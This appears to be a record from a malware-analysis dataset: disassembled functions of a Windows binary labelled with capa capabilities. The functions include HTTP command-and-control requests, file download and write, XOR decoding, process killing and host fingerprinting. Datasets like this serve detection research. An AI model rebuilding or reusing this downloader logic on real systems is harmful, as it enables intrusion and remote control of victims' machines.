joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403b20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4363a8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x43f480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x403cb1
cmp byte [ebx + 0x49], 0
je 0x403cb1
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x403ca5
lea esi, [ebp - 0x2c]
call fcn.00403660
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x403b93
lea edx, [ebp - 0x2c]
mov eax, edx
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
mov edi, dword [ebp - 0x1c]
add edi, edx
push edi
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x403bcc
dec eax
je 0x403bd0
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x403cac
call fcn.00402440
xor al, al
jmp 0x403cb3
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x403be0
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x403c0d
cmp edi, 0x10
jae 0x403bef
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.0042147a
add esp, 0x10
cmp esi, eax
jne 0x403c9d
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x403ca9
test esi, esi
jne 0x403b87
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x403cce
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x403cce
cmp edi, esi
jae 0x403c86
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00404030
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x403b87
mov ecx, eax
cmp edi, 0x10
jae 0x403c62
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x403c7d
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x403b81
test esi, esi
jne 0x403c58
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x403c95
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x403b81
lea ecx, [ebp - 0x2c]
call fcn.00402440
xor al, al
jmp 0x403cb3
lea ecx, [ebp - 0x2c]
call fcn.00402440
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041fc56
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.0041f049
int3
Function at 0x403f00
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4362ab
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x43f480]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0041f825
push 4
mov dword [ebp - 4], 0
call fcn.004202d7
mov edi, eax
add esp, 4
test edi, edi
je 0x403f7c
call fcn.0041f6fd
mov dword [edi], eax
call fcn.0041f4bc
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.0041f7e6
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x403f72
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.0041f80e
jmp 0x403f7e
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4045d0
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43636b
mov eax, dword fs:[0]
push eax
sub esp, 0x41c
mov eax, dword [0x43f480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
push esi
lea eax, [ebp - 0x424]
push eax
mov edi, ecx
mov ebx, edx
mov dword [ebp - 0x424], esi
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x4047c3
cmp byte [0x442b24], 0
mov dword [ebp - 0x414], esi
jne 0x40463b
call fcn.00401040
mov byte [0x442b24], 1
mov ecx, dword [0x442b58]
mov eax, dword [ecx + 0x8c]
push esi
push esi
push esi
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [ebp - 0x428], esi
test esi, esi
je 0x4047bd
push 1
push 0
push 3
push 0
push 0
push 0x50
push edi
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
mov dword [ebp - 0x418], edi
test edi, edi
je 0x4047b6
push 1
push 0x400000
push 0
push 0
push 0
push ebx
push str.POST
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
je 0x4047af
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x4047a8
push 1
call fcn.00421904
mov esi, eax
xor eax, eax
add esp, 4
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x41c], eax
lea edx, [ebp - 0x414]
push edx
mov dword [ebp - 4], eax
push 0x3ff
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x404786
mov edi, dword [ebp - 0x414]
test edi, edi
je 0x404742
lea ecx, [ebp - 0x410]
push ecx
lea esi, [ebp - 0x420]
mov byte [ebp + edi - 0x410], 0
call fcn.004052e0
lea edx, [ebp - 0x414]
push edx
push 0x3ff
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x404700
mov eax, dword [ebp - 0x41c]
test eax, eax
jle 0x40477a
inc eax
push eax
call fcn.0041f104
mov esi, dword [ebp - 0x420]
mov edx, eax
add esp, 4
mov dword [ebp - 0x414], edx
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x404768
mov edi, dword [ebp - 0x418]
jmp 0x404799
mov esi, dword [ebp - 0x420]
mov edi, dword [ebp - 0x418]
push 8
call fcn.0041f104
add esp, 4
mov dword [ebp - 0x414], eax
mov byte [eax], 0
push esi
call fcn.004206b7
mov esi, dword [ebp - 0x428]
add esp, 4
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x414]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041fc56
mov esp, ebp
pop ebp
ret
Function at 0x4047e0
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x43f480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
lea ecx, [ebp - 0x414]
push ecx
mov dword [ebp - 0x408], eax
mov ebx, edx
mov dword [ebp - 0x414], edi
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x40482e
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fc56
mov esp, ebp
pop ebp
ret
push ebx
mov dword [ebp - 0x40c], edi
call fcn.004218d4
add esp, 4
cmp byte [0x442b24], 0
jne 0x404852
call fcn.00401040
mov byte [0x442b24], 1
mov edx, dword [0x442b58]
mov eax, dword [edx + 0x8c]
push edi
push edi
push edi
push edi
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
mov dword [ebp - 0x418], edi
test edi, edi
je 0x40496b
push 1
push 0
push 3
push 0
push 0
push 0x50
push esi
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
mov dword [ebp - 0x410], esi
test esi, esi
je 0x404964
mov eax, dword [ebp - 0x408]
push 1
push 0x400000
push 0
push 0
push 0
push eax
push 0x43b584
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
test edi, edi
je 0x404957
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x404950
push 0x43b41c
push ebx
mov dword [ebp - 0x40c], 1
call fcn.00420f39
mov esi, eax
add esp, 8
test esi, esi
je 0x40494a
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
mov edi, edi
lea ecx, [ebp - 0x408]
push ecx
push 0x3ff
lea edx, [ebp - 0x404]
push edx
push edi
call ebx
test eax, eax
je 0x404941
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x404941
push esi
push eax
mov byte [ebp + eax - 0x404], 0
lea eax, [ebp - 0x404]
push 1
push eax
call fcn.0042147a
add esp, 0x10
jmp 0x404900
push esi
call fcn.00421860
add esp, 4
mov esi, dword [ebp - 0x410]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp - 0x418]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x40c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041fc56
mov esp, ebp
pop ebp
ret
Function at 0x404df0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
push 0x22
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, eax
test edi, edi
jne 0x404e0d
pop edi
mov esp, ebp
pop ebp
ret
push esi
push 3
push 1
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x404e3c
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x404e3c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
test eax, eax
jne 0x404e4b
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop esi
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
push esi
call fcn.0041f104
add esp, 4
mov ebx, eax
test esi, esi
je 0x404e7b
mov ecx, dword [ebp - 4]
sub ecx, ebx
mov dword [ebp - 4], esi
lea ecx, [ecx]
mov dl, byte [ecx + eax]
mov byte [eax], dl
inc eax
dec dword [ebp - 4]
jne 0x404e70
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp + 8]
mov eax, ebx
pop ebx
mov dword [ecx], esi
pop esi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x405000
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, eax
mov eax, dword [ebp + 8]
push edi
push eax
mov eax, esi
call fcn.00404f80
mov ebx, eax
add esp, 4
test ebx, ebx
jle 0x40507f
mov ecx, dword [ebp + 0xc]
push 0x43b418
push ecx
call fcn.00420f39
mov edi, eax
add esp, 8
test edi, edi
je 0x40505d
push 2
push 0
push edi
call fcn.00421777
add esp, 0xc
push edi
call fcn.00421688
add esp, 4
push edi
mov dword [ebp - 0xc], eax
call fcn.00421860
mov eax, dword [ebp - 0xc]
add esp, 4
jmp 0x40505f
xor eax, eax
cmp ebx, eax
je 0x405194
mov ecx, dword [ebp + 8]
push 0
push esi
mov eax, esi
call fcn.004051a0
add esp, 8
test al, al
je 0x405194
mov edx, dword [ebp + 0xc]
push edx
lea ebx, [ebp - 4]
mov dword [ebp - 4], 0
call fcn.004022a0
add esp, 4
push esi
lea ebx, [ebp - 0xc]
mov edi, eax
mov dword [ebp - 0xc], 0
call fcn.004022a0
mov ebx, eax
lea eax, [ebp - 8]
add esp, 4
push eax
mov eax, esi
mov dword [ebp - 8], 0
call fcn.00404df0
mov ecx, dword [ebp + 0x10]
add esp, 4
push 0x43b41c
push ecx
mov dword [ebp - 0x10], eax
call fcn.00420f39
mov esi, eax
add esp, 8
test esi, esi
je 0x40517a
test edi, edi
je 0x4050f9
mov edx, dword [ebp - 4]
push esi
push edx
push 1
push edi
call fcn.0042147a
push edi
call fcn.004203db
add esp, 0x14
push esi
call fcn.00421860
mov eax, dword [ebp - 0x10]
add esp, 4
test eax, eax
je 0x405119
mov ecx, dword [ebp - 8]
push ecx
push eax
mov eax, dword [ebp + 0x10]
call fcn.00404ea0
add esp, 8
mov edx, dword [ebp + 0x10]
push 0x43b664
push edx
call fcn.00420f39
mov esi, eax
add esp, 8
test esi, esi
je 0x405171
mov edi, dword [ebp + 8]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405138
push esi
sub eax, edx
push eax
push 1
push edi
call fcn.0042147a
add esp, 0x10
test ebx, ebx
je 0x405168
mov eax, dword [ebp - 0xc]
push esi
push eax
push 1
push ebx
call fcn.0042147a
push ebx
call fcn.004203db
add esp, 0x14
push esi
call fcn.00421860
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x405187
push edi
call fcn.004203db
add esp, 4
test ebx, ebx
je 0x405194
push ebx
call fcn.004203db
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4051a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push eax
lea ebx, [ebp - 4]
mov esi, ecx
mov dword [ebp - 4], 0
call fcn.004022a0
mov ecx, dword [ebp - 4]
add esp, 4
mov edi, eax
push 1
push edi
mov ebx, esi
call fcn.00405400
mov ebx, eax
add esp, 8
test ebx, ebx
jns 0x4051f2
mov eax, esi
lea edx, [eax + 1]
jmp 0x4051e0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4051e0
mov ecx, dword [ebp - 4]
sub eax, edx
sub ecx, eax
cmp ebx, ecx
jge 0x405264
mov edx, dword [ebp + 8]
push 0x43b41c
push edx
call fcn.00420f39
mov edx, eax
add esp, 8
mov dword [ebp - 8], edx
test edx, edx
je 0x405264
cmp byte [ebp + 0xc], 0
jne 0x405228
mov eax, esi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405217
sub eax, esi
lea esi, [eax + ebx]
mov ebx, dword [ebp - 4]
jmp 0x40522a
xor esi, esi
cmp esi, ebx
jge 0x405249
mov edi, edi
push edx
push 1
lea eax, [esi + edi]
push 1
push eax
call fcn.0042147a
mov edx, dword [ebp - 8]
inc esi
add esp, 0x10
cmp esi, ebx
jl 0x405230
push edx
call fcn.00421860
add esp, 4
push edi
call fcn.004203db
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
call fcn.004203db
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4055d0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x43f480]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push edi
lea eax, [ebp - 0x134]
push eax
push ebx
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4056e1
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
jmp 0x405610
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405620
sub eax, edx
inc eax
push eax
call fcn.0041f104
mov esi, eax
lea eax, [ebp - 0x110]
mov edx, esi
mov ecx, eax
add esp, 4
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x405641
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405650
sub eax, edx
mov edx, eax
xor ecx, ecx
test edx, edx
jle 0x405676
mov al, byte [ecx + esi]
cmp al, 0x41
jl 0x405671
cmp al, 0x5a
jg 0x405671
add al, 0x20
mov byte [ecx + esi], al
inc ecx
cmp ecx, edx
jl 0x405661
mov ecx, dword [ebp + 8]
mov eax, esi
jmp 0x405680
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4056a0
test dl, dl
je 0x40569c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4056a0
add eax, 2
add ecx, 2
test dl, dl
jne 0x405680
xor eax, eax
jmp 0x4056a5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4056c2
mov edx, dword [ebp - 0x12c]
push edx
push eax
push 1
call edi
test eax, eax
je 0x4056c2
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.004203db
add esp, 4
lea eax, [ebp - 0x134]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x405610
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.0041fc56
mov esp, ebp
pop ebp
ret
Function at 0x405700
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push 0x184
push 0
push esi
xor bl, bl
call fcn.00428440
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareClasses.exe_shellopencommand
push connect
mov dword [ebp - 8], 0x184
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x405764
lea ecx, [ebp - 8]
push ecx
push esi
push 0
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40575a
mov bl, 1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406070
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [0x442b25], 0
jne 0x4060a8
push 0x100
call fcn.0041f104
add esp, 4
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [0x442b18], eax
mov dword [ebp - 4], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov byte [0x442b25], 1
mov eax, dword [0x442b18]
mov esp, ebp
pop ebp
ret

Function at 0x4060c0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x43b418
push eax
call fcn.00420f39
mov esi, eax
add esp, 8
test esi, esi
je 0x4061a1
push ebx
push edi
push 2
push 0
push esi
call fcn.00421777
push esi
call fcn.00421688
mov edi, eax
push edi
call fcn.0041f104
push 0
push 0
push esi
mov dword [ebp - 4], eax
call fcn.00421777
add esp, 0x20
xor ebx, ebx
test edi, edi
jle 0x406136
lea ecx, [ecx]
push esi
call fcn.00420667
add esp, 4
test eax, eax
jne 0x406136
mov ecx, dword [ebp - 4]
push esi
push 1
lea edx, [ebx + ecx]
push 1
push edx
call fcn.00421291
inc ebx
add esp, 0x10
cmp ebx, edi
jl 0x406110
push esi
call fcn.00421860
add esp, 4
xor eax, eax
xor ecx, ecx
test edi, edi
jle 0x406162
cmp ecx, dword [ebp + 0x10]
jl 0x40614e
xor ecx, ecx
mov edx, dword [ebp + 0xc]
mov dl, byte [ecx + edx]
mov esi, dword [ebp - 4]
neg dl
xor byte [eax + esi], dl
inc eax
inc ecx
cmp eax, edi
jl 0x406147
mov eax, dword [ebp + 8]
push 0x43b41c
push eax
call fcn.00420f39
mov esi, eax
add esp, 8
test esi, esi
je 0x406198
mov ecx, dword [ebp - 4]
push esi
push edi
push 1
push ecx
call fcn.0042147a
push esi
call fcn.00421860
add esp, 0x14
pop edi
pop ebx
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4061b0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [0x442b24], 0
push ebx
push esi
push edi
jne 0x4061cc
call fcn.00401040
mov byte [0x442b24], 1
mov eax, dword [0x442b58]
mov eax, dword [eax + 0x94]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4061e0
mov ebx, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
sub eax, edx
mov esi, eax
cmp byte [0x442b25], cl
jne 0x406220
push 0x100
call fcn.0041f104
add esp, 4
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [0x442b18], eax
mov dword [ebp - 4], 0x100
call ebx
mov byte [0x442b25], 1
mov eax, dword [0x442b18]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406228
sub eax, edx
lea edx, [eax + esi + 0x20]
push edx
call fcn.0041f104
add esp, 4
cmp byte [0x442b25], 0
mov edi, eax
jne 0x406270
push 0x100
call fcn.0041f104
add esp, 4
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [0x442b18], eax
mov dword [ebp - 4], 0x100
call ebx
mov byte [0x442b25], 1
cmp byte [0x442b24], 0
mov esi, dword [0x442b18]
jne 0x40628b
call fcn.00401040
mov byte [0x442b24], 1
mov edx, dword [0x442b58]
mov eax, dword [edx + 0x94]
push esi
push eax
push str._s_getslistcomp_s
push edi
call fcn.00420357
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x10
lea ecx, [ecx]
cmp byte [0x442b24], 0
jne 0x4062c5
call fcn.00401040
mov byte [0x442b24], 1
mov ecx, dword [0x442b58]
mov ecx, dword [ecx + 0xc]
mov edx, edi
call fcn.004045d0
mov esi, eax
test esi, esi
jne 0x4062e4
push 0x7530
call ebx
jmp 0x4062b0
push edi
call fcn.004203db
mov eax, esi
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4062f2
sub eax, edx
je 0x40639f
mov bl, byte [0x442b24]
test bl, bl
jne 0x406318
call fcn.00401040
mov bl, 1
mov byte [0x442b24], bl
mov edx, dword [0x442b58]
mov eax, dword [edx + 8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406324
sub eax, edx
mov dword [ebp - 4], eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406335
sub eax, edx
mov edi, eax
test bl, bl
jne 0x406350
call fcn.00401040
mov byte [0x442b24], 1
mov eax, dword [0x442b58]
mov edx, dword [eax + 8]
xor eax, eax
xor ecx, ecx
test edi, edi
jle 0x406375
cmp ecx, dword [ebp - 4]
jl 0x406367
xor ecx, ecx
mov bl, byte [ecx + edx]
neg bl
xor byte [eax + esi], bl
inc eax
inc ecx
cmp eax, edi
jl 0x406360
mov eax, dword [0x442b28]
test eax, eax
jne 0x406390
push 0x100
call fcn.0041f104
add esp, 4
mov dword [0x442b28], eax
push eax
push 0x43b828
push esi
call fcn.00421ab3
add esp, 0xc
push esi
call fcn.004203db
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4073f0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
push str.PROGRAMFILES
call fcn.004204a0
mov esi, eax
push str.SYSTEMDRIVE
mov dword [ebp - 4], esi
call fcn.004204a0
mov edi, eax
mov eax, esi
add esp, 8
mov dword [ebp - 8], edi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407420
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407430
sub eax, esi
lea eax, [eax + edx + 0x80]
push ebx
push eax
call fcn.0041f104
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
add esp, 4
mov esi, eax
mov edi, 0x441b74
mov ecx, dword [edi]
mov edx, dword [ebp - 4]
push ecx
push edx
push 0x43b384
push esi
call fcn.00420357
add esp, 0x10
push esi
call ebx
test eax, eax
jne 0x407480
add edi, 4
cmp edi, 0x441ba8
jl 0x407457
jmp 0x407487
mov byte [0x442b27], 1
mov edi, 0x441c40
lea esp, [esp]
mov eax, dword [edi]
mov ecx, dword [ebp - 8]
push eax
push ecx
push 0x43b384
push esi
call fcn.00420357
add esp, 0x10
push esi
call ebx
test eax, eax
jne 0x4074c7
add edi, 4
cmp edi, 0x441c4c
jl 0x407490
pop ebx
push esi
call fcn.004203db
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.004203db
add esp, 4
push 0
call fcn.00422225
int3